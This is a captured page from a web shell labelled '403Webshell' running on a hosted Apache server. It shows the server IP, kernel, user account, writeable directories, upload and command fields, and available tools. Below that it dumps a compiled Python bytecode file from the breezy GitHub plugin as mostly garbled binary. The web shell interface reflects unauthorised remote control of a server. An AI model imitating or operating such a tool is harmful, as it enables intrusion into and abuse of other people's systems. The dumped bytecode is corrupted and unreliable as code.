403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/breezy/plugins/github/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/breezy/plugins/github/__pycache__/forge.cpython-313.pyc
�

p��g�|���SrSSKrSSKrSSKJr SSKJrJr SSKJrJ	r	J
r
Jr SSKJr
 SSKJr SS	K
JrJr SS
KJrJrJrJrJrJrJrJrJrJr SSKJr SSKJ r  SS
K!J"r" SSK#J$r$ Sr%Sr&Sr'Sr(SSSSSS.r)SS/r*Sr+Sr,Sr-"SS\
R\5r/"SS\
R\5r0"S S!\5r1"S"S#\5r2S$r3S%r4S&r5S'r6S(r7"S)S*\85r9"S+S,\:5r;"S-S.\5r<"S/S0\5r=g)1zSupport for GitHub.�N)�datetime)�Any�Optional�)�bedding�
controldir�errors�urlutils)�branch)�AuthenticationConfig)�PermissionDenied�UnexpectedHttpStatus)
�Forge�ForgeLoginRequired�
MergeProposal�MergeProposalBuilder�MergeProposalExists�
NoSuchProject�PrerequisiteBranchUnsupported�ReopenFailed�UnsupportedForge�determine_title��git_url_to_bzr_url)�gettext)�note)�
get_transportz
github.comzhttps://github.comzhttps://api.github.com�d�ssh_url�	clone_url�git_url)�sshzgit+ssh�http�https�gitr"r#c�0�[R"US5$)Nz%Y-%m-%dT%H:%M:%SZ)r�strptime)�tss �=/usr/lib/python3/dist-packages/breezy/plugins/github/forge.py�parse_timestringr*<s�����R�!5�6�6�c��[5nURSSS5 URSS[5 URSSU5 g)N�Github�schemer$�url�
private_token)r�_set_option�API_GITHUB_URL)�token�auth_configs  r)�store_github_tokenr5@s@��&�(�K����H�h��8����H�e�^�<����H�o�u�=r+c���[5nUR5RS5nU(a'URS5(aURS5$[RR[R"5S5n[RRU5(dg[U5nUR5R5sSSS5 $!,(df   g=f)Nr-r0zgithub.conf)r�_get_config�get�os�path�joinr�
config_dir�exists�open�read�strip)r4�sectionr:�fs    r)�retrieve_github_tokenrCGs���&�(�K��%�%�'�+�+�H�5�G��7�;�;��/�/��{�{�?�+�+��7�7�<�<��*�*�,�m�<�D�
�7�7�>�>�$����	
�d��q��v�v�x�~�~��
���s�;C#�#
C1c��\rSrSrSrSrSrg)�ValidationFailed�Uz#GitHub validation failed: %(error)sc�N�[RRU5 Xlg�N)r	�BzrError�__init__�error)�selfrKs  r)rJ�ValidationFailed.__init__Xs����� � ��&��
r+)rKN��__name__�
__module__�__qualname__�__firstlineno__�_fmtrJ�__static_attributes__�r+r)rErEUs��0�D�r+rEc��\rSrSrSrSrSrg)�NotGitHubUrl�]zNot a GitHub URL: %(url)sc�N�[RRU5 XlgrH)r	rIrJr/)rLr/s  r)rJ�NotGitHubUrl.__init__`s����� � ��&��r+�r/NrNrUr+r)rWrW]s��&�D�r+rWc��\rSrSrSrSrg)�GitHubLoginRequired�ezAction requires GitHub login.rUN)rOrPrQrRrSrTrUr+r)r]r]es��*�Dr+r]c���\rSrSrSrSrSrSrSr\	S5r
S"S	jrSS
.SjrSr
SS
.S
jrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrS#SjrSrSr S r!S!r"g)$�GitHubMergeProposal�iTc��XlX lgrH��_gh�_pr)rL�gh�prs   r)rJ�GitHubMergeProposal.__init__ls�����r+c�`�SR[U5RUR5$)Nz<{} at {!r}>)�format�typerOr/�rLs r)�__repr__�GitHubMergeProposal.__repr__ps#���$�$�T�$�Z�%8�%8�$�(�(�C�Cr+�GitHubc� �URS$�N�html_url�rerls r)�get_web_url�GitHubMergeProposal.get_web_urlus���x�x�
�#�#r+c� �URS$rqrsrls r)r/�GitHubMergeProposal.urlxs���x�x�
�#�#r+Nc��UScgUc[nUH+nU[;dM[US[UUS5s $ [e)N�repo�ref)�DEFAULT_PREFERRED_SCHEMES�SCHEME_FIELD_MAP�github_url_to_bzr_url�AssertionError)rL�part�preferred_schemesr.s    r)�_branch_from_part�%GitHubMergeProposal._branch_from_part|s[����<����$� 9��'�F��)�)�,���L�!1�&�!9�:�D��K���(�
�r+�r�c�<�URURSUS9$)N�headr��r�re�rLr�s  r)�get_source_branch_url�)GitHubMergeProposal.get_source_branch_url��)���%�%��H�H�V��0A�&�
�	
r+c�n�SSKJn URURSSR	S55$)z1Return the latest revision for the source branch.r)�default_mappingr��sha�ascii)�breezy.git.mappingr��revision_id_foreign_to_bzrre�encode)rLr�s  r)�get_source_revision�'GitHubMergeProposal.get_source_revision�s4��6��9�9��H�H�V��U�#�*�*�7�3�
�	
r+c�<�URURSUS9$)N�baser�r�r�s  r)�get_target_branch_url�)GitHubMergeProposal.get_target_branch_url�r�r+c�"�URUS9 g)N)r���_patch�rL�names  r)�set_target_branch_name�*GitHubMergeProposal.set_target_branch_name�s�������r+c�T�URSScgURSSS$)Nr�ry�	full_namersrls r)�get_source_project�&GitHubMergeProposal.get_source_project��2���8�8�F��F�#�+���x�x����'��4�4r+c�T�URSScgURSSS$)Nr�ryr�rsrls r)�get_target_project�&GitHubMergeProposal.get_target_project�r�r+c� �URS$)N�bodyrsrls r)�get_description�#GitHubMergeProposal.get_description�s���x�x���r+c��grHrUrls r)�get_commit_message�&GitHubMergeProposal.get_commit_message�s��r+c�8�URRS5$)N�title�rer8rls r)�	get_title�GitHubMergeProposal.get_title�s���x�x�|�|�G�$�$r+c�"�URUS9 g)N)r�r�)rLr�s  r)�	set_title�GitHubMergeProposal.set_title�s�����%�� r+c�D�[R"URU5erH)r	�UnsupportedOperation�set_commit_message)rL�messages  r)r��&GitHubMergeProposal.set_commit_message�s���)�)�$�*A�*A�4�H�Hr+c���URRSURS[R"U5RS5S9nURS:Xa)[[R"UR55eURS:wa0[URSURUR5S9e[R"UR5Ulg)N�PATCHr/�utf-8�r������headers�rd�_api_requestre�json�dumpsr��statusrE�loads�textr�
getheaders)rL�data�responses   r)r��GitHubMergeProposal._patch�s����8�8�(�(��T�X�X�e�_�4�:�:�d�+;�+B�+B�7�+K�)�
���?�?�c�!�"�4�:�:�h�m�m�#<�=�=��?�?�c�!�&���������(�:M�:M�:O��
��:�:�h�m�m�,��r+c�6�URU[U5S9 g)N)r�r�)r�r)rL�descriptions  r)�set_description�#GitHubMergeProposal.set_description�s������O�K�,H��Ir+c�J�[URRS55$�N�	merged_at)�boolrer8rls r)�	is_merged�GitHubMergeProposal.is_merged�s���D�H�H�L�L��-�.�.r+c��URSS:H=(a) [URRS55(+$)N�state�closedr�)rer�r8rls r)�	is_closed�GitHubMergeProposal.is_closed�s0���x�x�� �H�,�T�T�$�(�(�,�,�{�:S�5T�1T�Tr+c��URSS9 g![a#n[URSSS5eSnAff=f)Nr>�r�r	rr�)r�rErrK)rL�es  r)�reopen�GitHubMergeProposal.reopen�sF��	@��K�K�f�K�%���	@��q�w�w�x�0��3�I�>�?�?��	@�s��
?�:�?c�"�URSS9 g)Nr�r�r�rls r)�close�GitHubMergeProposal.close�s�����(��#r+c� �URS$)N�	mergeablersrls r)�
can_be_merged�!GitHubMergeProposal.can_be_merged�s���x�x��$�$r+c���U(a*SnURRX0RSS9 g0nU(aXS'URRSURS
S-[R"U5RS5S9nURS:Xa)[[R"UR55eURS:wa0[URS
URUR!5S9eg![aXn[	SUR
5 UR
SnUSS:XaUSS	:Xa[
US
5e[
US
5eSnAff=f)Na
mutation ($pullRequestId: ID!) {
  enablePullRequestAutoMerge(input: {
    pullRequestId: $pullRequestId,
    mergeMethod: MERGE
  }) {
    pullRequest {
      autoMergeRequest {
        enabledAt
        enabledBy {
          login
        }
      }
    }
  }
}
�node_id)�
pullRequestIdzgraphql errors: %rrrk�
UNPROCESSABLEr:�enablePullRequestAutoMerger��commit_message�PUTr/z/merger�r�r�r�r�)rd�_graphql_requestre�
GraphqlErrors�mutterr	�	Exceptionr�r�r�r�r�rEr�r�rr�)rLr��auto�
graphql_queryr��first_errorr�r�s        r)�merge�GitHubMergeProposal.merge�sT����M�"

8����)�)�!���)�1D�*���D��)7�%�&��x�x�,�,��t�x�x����1��
�
�4�8H�8O�8O�PW�8X�-��H����#�%�&�t�z�z�(�-�-�'@�A�A����#�%�*��H�H�U�O�X�_�_�h�>Q�>Q�>S���&��)!�	
8��+�Q�X�X�6��h�h�q�k����'�?�:�#�F�+�/K�K�$�K�	�$:�;�;���I� 6�7�7��	
8�s�&D�
E)�AE$�$E)c�J�URRS5nUcgUS$)N�	merged_by�loginr�)rLr�s  r)�
get_merged_by�!GitHubMergeProposal.get_merged_bys(���H�H�L�L��-�	������!�!r+c�V�URRS5nUcg[U5$r�)rer8r*)rLr�s  r)�
get_merged_at�!GitHubMergeProposal.get_merged_at
s(���H�H�L�L��-�	�����	�*�*r+c���SU0nURRSURS[R"U5RS5S9nURS:Xa)[[R"UR55eURS:wa0[URSURUR5S9e[R"UR5 g)	Nr��POST�comments_urlr�r�r���r�r�)rLr�r�r�s    r)�post_comment� GitHubMergeProposal.post_comments�����~���8�8�(�(��D�H�H�^�,�4�:�:�d�3C�3J�3J�7�3S�)�
���?�?�c�!�"�4�:�:�h�m�m�#<�=�=��?�?�c�!�&�����(�(�/�/�8�CV�CV�CX��
�	
�
�
�8�=�=�!r+rcrH�NF)#rOrPrQrR�supports_auto_mergerJrmr�rt�propertyr/r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrTrUr+r)r`r`is������D��D�$��$��$�
�:>�
�

�:>�
�
�5�
5�
 ��%�!�I�
-�J�/�U�@�$�%�.�`"�+�"r+r`c���[R"U5upp4pVU[:wa[U5eUR	S5RS5upxUR
S5(aUSSnXx4$)N�/�.git���)r
�	parse_url�GITHUB_HOSTrWr@�split�endswith)	r/r.�user�password�host�portr:�owner�	repo_names	         r)�parse_github_urlr!sl��19�1C�1C�C�1H�.�V�8�4��{���3������C��.�.�s�3��U����&�!�!��c�r�N�	���r+c�x�[R"UR5n[U5up#X#UR4$rH)r
�strip_segment_parameters�user_urlrr�)rr/rrs    r)�parse_github_branch_urlr+s2��
�
+�
+�F�O�O�
<�C�'��,��E��V�[�[�(�(r+c��[R"U5upp4pVU[:wa[U5eUR	S5RS5upxp�U	S:wa[S5eXxU
4$![an[S5UeSnAff=f)NrzNot a PR URL�pull)r
rrrWr@r�
IndexError�
ValueError)r/r.rrrrr:rrr�pr_idr�s            r)�parse_github_pr_urlr"1s���19�1C�1C�C�1H�.�V�8�4��{���3���0�*.�*�*�S�/�*?�*?��*D�'��4��v�~���(�(��e�$�$��
�0���(�a�/��0�s�#A)�)
B�3A?�?Bc��[X5$rHr)r/�branch_names  r)r}r}@s
���c�/�/r+c�*�URS5S$)N�{r)rr[s r)�strip_optionalr'Ds���9�9�S�>�!��r+c�^�\rSrSrU4SjrU4SjrU4SjrU4SjrU4SjrU4Sjr	U4Sjr
S	rS
rSU4Sjjr
SrS
rSrSrU=r$)�	_LazyDictiHc�0>�X l[TU]	U5 grH)�_load_fn�super�update)rLr��load_fn�	__class__s   �r)rJ�_LazyDict.__init__Is����
�
���t�r+c�N>�[TU]UR55 SUlgrH)r,r-r+�rLr/s �r)�
_load_full�_LazyDict._load_fullMs���
���t�}�}��'���
r+c�>�URb[TU]	U5$[TU]	U5$![a UR	5 N+f=frH)r+r,�__getitem__�KeyErrorr3�rL�keyr/s  �r)r6�_LazyDict.__getitem__QsO����=�=�$�
"��w�*�3�/�/��w�"�3�'�'���
"����!�
"���.�A�
Ac�@>�UR5 [TU]	5$rH)r3r,�itemsr2s �r)r=�_LazyDict.itemsYs��������w�}��r+c�@>�UR5 [TU]	5$rH)r3r,�keysr2s �r)r@�_LazyDict.keys]s��������w�|�~�r+c�@>�UR5 [TU]	5$rH)r3r,�valuesr2s �r)rC�_LazyDict.valuesas��������w�~��r+c�>�[TU]U5(agURbUR5 [TU]U5$g�NTF)r,�__contains__r+r3r8s  �r)rG�_LazyDict.__contains__es=����7���$�$���=�=�$��O�O���7�'��,�,�r+c��[erH��NotImplementedErrorr�s  r)�__delitem__�_LazyDict.__delitem__m���!�!r+c��[erHrJ)rLr��values   r)�__setitem__�_LazyDict.__setitem__prNr+c�>�URb[TU]	X5$[TU]	X5$![a UR	5 N+f=frH)r+r,r8r7r3)rLr��defaultr/s   �r)r8�
_LazyDict.getssM����=�=�$�
"��w�{�4�1�1��w�{�4�)�)���
"����!�
"�r;c��[erHrJrls r)�pop�
_LazyDict.pop{rNr+c��[erHrJrls r)�popitem�_LazyDict.popitem~rNr+c��[erHrJrls r)�clear�_LazyDict.clear�rNr+)r+rH)rOrPrQrRrJr3r6r=r@rCrGrLrQr8rWrZr]rT�
__classcell__)r/s@r)r)r)HsI�����(��� ��"�"�*�"�"�"�"r+r)c��\rSrSrSrSrg)r�i�c��XlgrH�r	)rLr	s  r)rJ�GraphqlErrors.__init__�s���r+rbN)rOrPrQrRrJrTrUr+r)r�r��s��r+r�c�|�\rSrSrSrSrSrSrSrSr	Sr
SrS)S	jrS
r
S*SjrS+SjrS
rS)SjrSrS*SjrSrS)Sjr\S5rSr\S5rS,SjrSrSrS-SjrSrS.SjrSr \!S)Sj5r"\!S)Sj5r#\!S5r$S/S jr%S!r&S)S"jr'S#r(SSSSSSS$.S%jr)S&r*S'r+S(r,g)0roi��githubTF�markdownc��g)NzGitHub()rUrls r)rm�GitHub.__repr__�s��r+c
�L�0nUR(aSRUR5US'[R"URR
S5nURR
SUU[R"UUS.5RS5S9nURS:wa"[XERUR5S	9e[R"UR5nURS
5(a[!URS
55eUS$)N�token {}�
Authorization�graphqlr)�query�	variablesr�)r�r�r�r�r	r�)�_tokenrjr
r;�	transportr��requestr�r�r�r�rr�r�r�r8r�)rLr��kwargsr�r/r�r�s       r)r��GitHub._graphql_request�s������;�;�'1�'8�'8����'E�G�O�$��m�m�D�N�N�/�/��;���>�>�)�)�������!�!'���
�f�W�o�*�

���?�?�c�!�&��_�_�h�.A�.A�.C��
��z�z�(�-�-�(���8�8�H�������� 2�3�3��F�|�r+Nc��SSS.nUR(aSRUR5US'URRU[R
"URRU5UUSS9nURS:Xa[UR5eU$![a+nURS:Xa[UR5eeSnAff=f)	Nzapplication/jsonzapplication/vnd.github.v3+json)zContent-Type�Acceptrjrkr)r�r��retriesi�)rorjrprqr
r;r�r�coder]�base_urlr�)rL�methodr:r�r�r�r�s       r)r��GitHub._api_request�s���.�6�
���;�;�'1�'8�'8����'E�G�O�$�	��~�~�-�-���
�
�d�n�n�1�1�4�8����.��H��?�?�c�!�%�d�m�m�4�4����$�	��v�v��}�)�$�-�-�8�8���		�s�AB#�#
C�-&C�Cc�"�SRX5nURSU5nURS:Xa[U5eURS:Xa [R
"UR5$[X4RUR5S9e)Nzrepos/{}/{}�GET�r�r�)	rjr�r�rr�r�r�rr�)rLrryr:r�s     r)�	_get_repo�GitHub._get_repo�st���#�#�E�0���$�$�U�D�1���?�?�c�!���%�%��?�?�c�!��:�:�h�m�m�,�,�"�4���(�BU�BU�BW�X�Xr+c
���US-n0nUbX$S'UbX4S'USRUR5VVs/sH+upVSRU[R"U55PM- snn5-
nURSU5nURS:Xa[U5eURS:Xa [R"UR5$[XRUR5S	9es snnf)
N�?r�r��;�{}={}r|r}r�r�)
r;r=rjr
�quoter�r�rr�r�r�rr�)rLr:r�r��params�k�vr�s        r)�_get_repo_pulls�GitHub._get_repo_pulls�s����c�z������!�6�N���#�7�O�����>D�l�l�n�M�n�d�a�W�^�^�A�x�~�~�a�0�
1�n�M�
�	
���$�$�U�D�1���?�?�c�!���%�%��?�?�c�!��:�:�h�m�m�,�,�"�4���(�BU�BU�BW�X�X��
Ns�2C0c
��UUUUU	S.n
UbXjS'UbXzS'U(aXZS'URSU[R"U
5RS5S9nURS:Xa[XR5eURS	:Xa)[[R"UR55eURS
:wa"[XRUR5S9e[R"UR5$)N)r�r�r��draft�maintainer_can_modify�labels�assigneer�rr�r�i�r�rr�)r�r�r�r�r�r
r�rEr�rr�)rLr:r�r�r�r�r�r�r�r�r�r�s            r)�_create_pull�GitHub._create_pull�s�������%:�
����#��N���'������L��$�$��D�t�z�z�$�/�6�6�w�?�%�
���?�?�c�!�"�4���7�7��?�?�c�!�"�4�:�:�h�m�m�#<�=�=��?�?�c�!�&��o�o�x�/B�/B�/D��
��z�z�(�-�-�(�(r+c��SRU5nURSU5nURS:wa"[X#RUR	5S9e[
R"UR5nUSS:Xa[SRU55eUSS:�a[S	RU55eUS
S$)Nzsearch/users?q={}+in:emailr|r�r��total_countrzno user with email {}�z!more than one result for email {}r=)
rjr�r�rr�r�r�r�r7r )rL�emailr:r��rets     r)�_get_user_by_email�GitHub._get_user_by_emails���+�2�2�5�9���$�$�U�D�1���?�?�c�!�&��o�o�x�/B�/B�/D��
��j�j����'���}���"��2�9�9�%�@�A�A�
��
�!�
#��@�G�G��N�O�O��7�|�A��r+c��U(aSRU5nOSnURSU5nURS:wa"[X#RUR	5S9e[
R"UR5$)Nzusers/{}rr|r�r��rjr�r�rr�r�r�r�)rL�usernamer:r�s    r)�	_get_user�GitHub._get_usersl����$�$�X�.�D��D��$�$�U�D�1���?�?�c�!�&��o�o�x�/B�/B�/D��
��z�z�(�-�-�(�(r+c���SRU5nURSU5nURS:wa"[X#RUR	5S9e[
R"UR5$)Nzorgs/{}r|r�r�r�)rLr�r:r�s    r)�_get_organization�GitHub._get_organization"sd������%���$�$�U�D�1���?�?�c�!�&��o�o�x�/B�/B�/D��
��z�z�(�-�-�(�(r+c#�d# �Uc0nO[UR55nU(a[U5US'SnU(a�[U5US'URSUS-SR	UR5VVs/sH+upVSRU[R"U55PM- snn5-5nURS:wa"[XRUR5S	9e[R"UR5nU(dgUv� US-
nU(aM�ggs snnf7f)
N�per_pager��pager|r�r�r�r�r�)�dictr=�strr�r;rjr
r�r�rr�r�r�r�)	rLr:�
parametersr�r�r�r�r�r�s	         r)�_list_paged�GitHub._list_paged+s������J��j�.�.�0�1�J��%(��]�J�z�"����!$�T��J�v���(�(������(�(�'1�&6�&6�&8��&8�F�Q� ���q�(�.�.��*;�<�&8����
�H����#�%�*��/�/�8�3F�3F�3H����:�:�h�m�m�,�D����J��A�I�D�+�d���s�A:D0�<2D*�.A8D0�(D0c#�# �SnURUSU0[S9HnUS(d gUSShv�N M gN	7f)Nz
search/issues�q�r�r=)r��DEFAULT_PER_PAGE)rLrmr:r�s    r)�_search_issues�GitHub._search_issuesJsH������$�$�T�C��<�BR�$�S�D���=���G�}�$�$�T�
%�s�1?�=�
?c�$�U(a&X RS:waUSRU5-
nURSU5nURS:wa"[	XRUR5S9e[R"UR5$)Nr�z?organization={}r��r�)	�current_userrjr�r�rr�r�r�r�)rLr:rr�s    r)�_create_fork�GitHub._create_forkQs}���U�/�/��8�8��&�-�-�e�4�4�D��$�$�V�T�2���?�?�c�!�&��o�o�x�/B�/B�/D��
��z�z�(�-�-�(�(r+c��[$rH)�WEB_GITHUB_URLrls r)rx�GitHub.base_url[s���r+c�l�[5UlURc[S5 XlSUlg)Nz<Accessing GitHub anonymously. To log in, run 'brz gh-login'.)rCrorrp�
_current_user)rLrps  r)rJ�GitHub.__init___s,��+�-����;�;���O�P�"��!��r+c�^�URcUR5UlUR$rH)r�r�rls r)r��GitHub.current_userfs)�����%�!%���!1�D���!�!�!r+c

��U	cSn	[U5up�nURX�5n
UcURSnUcU
SnURXT5n[[	S5US-5 [RR[US55nURUUUUU	S	9nUR[USU54$![
aH URX�5n
UR
U
SU5n[[	S5USU
S4-5 N�f=f![Ra U(deURUUUUS
U	S9nN�f=f)
Nc��grrU)�ts r)�tag_selector�,GitHub.publish_derived.<locals>.tag_selectorzs��r+r�r�zReusing existing repository %srr�	forks_urlz!Forking new repository %s from %sr)�revision_id�	overwriter�r�T)r�r�r��lossyr�r )rr~r�rrrr�r�
ControlDirr>r�push_branchr	�NoRoundtrippingSupport�
target_branchr})rL�local_branch�base_branchr��projectrr�r��allow_lossyr��
base_owner�base_project�base_branch_name�	base_repo�remote_repo�
remote_dir�push_results                 r)�publish_derived�GitHub.publish_derivedls�����
�6M��6
�2�
�"2��N�N�:�<�	��=��%�%�g�.�E��?���'�G�
	V��.�.��8�K�
��9�:�[��=T�T�U��*�*�/�/��{�9�5�6�
�
�	�$�0�0��'�#��)�1��K�$�(�(�*?���$�d�+
�
�	
��?�	����z�@�I��+�+�I�k�,B�E�J�K���;�<��z�*�I�j�,A�B�C�
�	��(�,�,�
	���$�0�0��'�#���)�
1��K�
	�s%�C�D�AD�D�0E�
Ec�^�[U5up#nURX#5n[USU5$)Nr)rr~r}�rLrrr�r$rys      r)�get_push_url�GitHub.get_push_url�s0��&=�f�&E�#����~�~�e�-��$�T�)�_�k�B�Br+c�n�[U5up#nURX#5nU(aUSS-U-$US$)Nrrz/tree/)rr~r�s      r)rt�GitHub.get_web_url�sB��&=�f�&E�#����~�~�e�-����
�#�h�.��<�<��
�#�#r+c��[U5upgnURXg5n	UcURSnUcU	SnURXC5n
Uc[nUHnU[;dMU
[Un O [e[X�5n
[RRU
5$![a+ [R
"SR
[XC55ef=f)Nr�r�z{}/{}/{})rr~r�rr	�NotBranchErrorrjr�r{r|r~r}�_mod_branch�Branchr>)rLr�r�r�rr�r�r�r�r�r�r.�
github_url�full_urls              r)�get_derived_branch�GitHub.get_derived_branch�s���6M��6
�2�
�"2��N�N�:�<�	��=��%�%�g�.�E��?���'�G�	��.�.��8�K�
�$� 9��'�F��)�)�(�)9�&�)A�B�
��(�
!� �(��:���!�!�&�&�x�0�0���	��'�'��!�!�.�%�A��
�	�s�B&�&5Cc��[XU5$rH)�GitHubMergeProposalBuilder)rL�
source_branchr�s   r)�get_proposer�GitHub.get_proposer�s��)�$�}�M�Mr+c#�# �[U5upEn[U5upxn	URXx5n
SSSSS.nUR[U
S5U	X�S9nUHnn
US:Xa
U
S(dUS:XaU
S(dM%U
SS	U:waM3U
SS
cM>U
SS
SSU:wdU
SS
S
U:waMa[	X
5v� Mp g7f)Nr>r��all)r>�mergedr�r��	pulls_url)r�r�r�r�rzryrr�r�)rr~r�r'r`)rLr�r�r��source_owner�source_repo_name�source_branch_name�target_owner�target_repo_name�target_branch_name�target_repor��pullsrs              r)�iter_proposals�GitHub.iter_proposals�s���?V��@
�<��);�@W��@
�<��);��n�n�\�D���8�x�PU�V���$�$��;�{�3�4�#��-�%�
��
�D��(�"�t�H�~��(�"�4��>���F�|�E�"�&8�8���F�|�F�#�+���V��V�$�W�-�g�6�,�F���<��'��/�3C�C��%�d�1�1��s�C	Cc�<�[U5 g![a gf=frF)rrW)rLrs  r)�hosts�GitHub.hosts�s(��	�#�F�+����	��	�s��
�c�X�U[:Xa[[US9nU"U5$[U5e�N)�possible_transports)rrr2r)�cls�hostnamer�rps    r)�probe_from_hostname�GitHub.probe_from_hostname�s1���{�"�%��4G��I��y�>�!��x�(�(r+c�x�[U5 [[US9nU"U5$![a [U5ef=fr�)rrWrrr2)r�r/r�rps    r)�probe_from_url�GitHub.probe_from_urlsI��	(��S�!�"��0C�
�	��9�~����	(�"�3�'�'�	(�s�#�9c#�:# �U"[[55v� g7frH)rr2)r�s r)�iter_instances�GitHub.iter_instancess����-��/�0�0�s�c#�^^# �S/nUS:XaURS5 O@US:Xa#URS5 URS5 OUS:XaURS5 UcTRS	nURS
RU55 TRSR	U5S9H%mUU4S
jn[T[
TSU55v� M' g7f)Nzis:prr>zis:openr�zis:unmergedz	is:closedr�z	is:mergedr�z	author:{}� )rmc��>�TRSTSS5nURS:wa)[TSSURUR5S9e[R
"UR5$)Nr|�pull_requestr/r�r�)r�r�rr�r�r�r�)r��issuerLs ��r)�
retrieve_full�/GitHub.iter_my_proposals.<locals>.retrieve_full&sm����,�,�U�E�.�4I�%�4P�Q���?�?�c�)�.��n�-�e�4� ��� (� 3� 3� 5���
�z�z�(�-�-�0�0r+r	)�appendr�rjr�r;r`r))rLr��authorrmrr
s`    @r)�iter_my_proposals�GitHub.iter_my_proposalss������	���V���L�L��#�
�x�
��L�L��'�
�L�L��%�
�x�
��L�L��%��>��&�&�w�/�F�
���[�'�'��/�0��(�(�s�x�x���(�?�E�
1�&��i��n� 5�}�E��
�@�s�CCc�^�[U5up#nSRX#U5nUR	SU5nUR
S:wa"[
XgR
UR5S9e[R"UR5n[X5$![an[U5UeSnAff=f)Nz+https://api.github.com/repos/{}/{}/pulls/{}r|r�r�)r"rWrrjr�r�rr�r�r�r�r`)	rLr/rryr!r��api_urlr�r�s	         r)�get_proposal_by_url�GitHub.get_proposal_by_url4s���	/�#6�s�#;� �U�%�@�F�F���
���$�$�U�G�4���?�?�c�!�&����(�2E�2E�2G��
��z�z�(�-�-�(��"�4�.�.���	/�"�3�'�Q�.��	/�s�B�
B,�B'�'B,c#�# �U(aSRU5nOSnURU[S9HnUHnUS(dMUSv� M M! g7f)Nz/users/{}/reposz/user/reposr��forkr�)rjr�r�)rLrr:r�r�s     r)�
iter_my_forks�GitHub.iter_my_forksDsX����$�+�+�E�2�D� �D��$�$�T�4D�$�E�D����v����k�*�*� �F�s�AAc�,�SU-nURSU5nURS:Xa[U5eURS:XagURS:Xa [R"UR
5$[
XRUR5S9e)Nzrepos/�DELETEr}��r�r�)r�r�rr�r�r�rr�)rLr:r�s   r)�delete_project�GitHub.delete_projectOs|���$����$�$�X�t�4���?�?�c�!���%�%��?�?�c�!���?�?�c�!��:�:�h�m�m�,�,�"�4���(�BU�BU�BW�X�Xr+)�homepage�private�
has_issues�has_projects�has_wiki�summaryc�L�URS5up�SnSUUUUUUS.n
URSU[R"U
5R	S5S9nUR
S:wa [R"UR5$[XR
UR5S	9e)
Nr�reposr�)r�r�rrr r!r"rr�r�rr�)
rr�r�r�r�r�r�r�rr�)rLr:rrr r!r"r#rr�r�r�s            r)�create_project�GitHub.create_projectZs����j�j��o������"� ��$�(� �
���$�$��D�t�z�z�$�/�6�6�w�?�%�
���?�?�c�!��:�:�h�m�m�,�,�"�4���(�BU�BU�BW�X�Xr+c�<�URbURS$g)Nr�)ror�rls r)�get_current_user�GitHub.get_current_userws ���;�;�"��$�$�W�-�-�r+c�D�[R"URU5$rH)r
r;rx)rLr�s  r)�get_user_url�GitHub.get_user_url|s���}�}�T�]�]�H�5�5r+)r�rorprH)NN)NNNFF)NNNFTN)NNN)r>)r>N)-rOrPrQrRr��supports_merge_proposal_labels�&supports_merge_proposal_commit_message�supports_merge_proposal_title�supports_allow_collaboration�!merge_proposal_description_formatrmr�r�r~r�r�r�r�r�r�r�r�r	rxrJr�r�r�rtr�r�r�r��classmethodr�rrrrrrr&r)r,rTrUr+r)roro�sX���D�%)�"�-2�*�$(�!�#'� �(2�%���2�0Y�Y�.����#�%)�N�
)�)��>%�)�����"��"��"�������<
�|C�
$�NR�1�8N�2�>��)��)������1��1��</� 	+�	Y�������Y�:�
6r+roc�N�\rSrSrSrSrSrS	S\\4Sjjr	Sr
g)
r�i�c���XlX lX0l[UR5uUlUlUl[UR5uUlUlUl	grH)
rfr�r�rr�r�r�r�r�r�)rLrfr�r�s    r)rJ�#GitHubMergeProposalBuilder.__init__�s[����*��*��#�D�$6�$6�7�	L��	�D�1�4�3J�
$�D�$6�$6�7�	L��	�D�1�4�3Jr+c�x�/nURSRURURUR55 URSRUR
R55 URSRURR55 SRU5$)z5Determine the initial comment for the merge proposal.zMerge {} into {}:{}
zSource: {}
zTarget: {}
�)	r
rjr�r�r�r�rr�r;)rL�infos  r)�get_infotext�'GitHubMergeProposalBuilder.get_infotext�s��������#�*�*��'�'��):�):�D�<S�<S�
�	
�
	
���N�)�)�$�*<�*<�*E�*E�F�G����N�)�)�$�*<�*<�*E�*E�F�G��w�w�t�}�r+c��g)zMGet a body for the proposal for the user to modify.

:return: a str or None.
NrUrls r)�get_initial_body�+GitHubMergeProposalBuilder.get_initial_body�s��
r+N�delete_source_after_mergec
�,�Ub[U5eURRS5(aURSSUlUc[U5nURRURUR5n
/nU(a]/nUHTnSU;aURRU5n
OURRU5n
URU
S5 MV OSn0nU	bX�S'URR"[U
S54UUSRURUR5URUUUUS	.UD6n[)URU5$![ a  [#UR$R&5ef=f)
zPerform the submission.Nrr
�@r��delete_branch_on_merger�z{}:{})r�r�r�r�r�r�r�r�)rr�rrrfr~r�r�r�r
r�r'rjr�r�r�rErr�rr`)rLr�r��	reviewersr��prerequisite_branchr��work_in_progress�allow_collaborationr?r��	assignees�reviewerrrrr	s                r)�create_proposal�*GitHubMergeProposalBuilder.create_proposal�s����*�/��5�5�� � �)�)�&�1�1�$(�$9�$9�#�2�$>�D�!��=�#�K�0�E��g�g�'�'��(9�(9�4�;P�;P�Q��46�	���I�%���(�?��7�7�5�5�h�?�D��7�7�,�,�X�6�D�� � ��g��/�&��I�!#��$�0�/H�+�,�	C��7�7�/�/��{�;�7�8��� ��^�^�D�$5�$5�t�7N�7N�O��,�,��"�&�&9����L� #�4�7�7�L�9�9��	 �	C�&�d�&8�&8�&A�&A�B�B�	C�s
�3A E)�)*F)	rfr�r�r�r�r�r�r�r�)NNNNNFFN)rOrPrQrRrJr:r=rr�rIrTrUr+r)r�r��sC��	
�
����� ���!�48�5:�$,�D�>�5:�5:r+r�)>�__doc__r�r9r�typingrrr8rrr	r
rr��configrr
r�forgerrrrrrrrrr�git.urlsr�i18nr�tracerrprrr�r2r�r|r{r*r5rCrIrErWr]r`rrr"r}r'r�r)r�r�ror�rUr+r)�<module>rRs��"��	�� �5�5�%�*�<����+���&���%��)�������
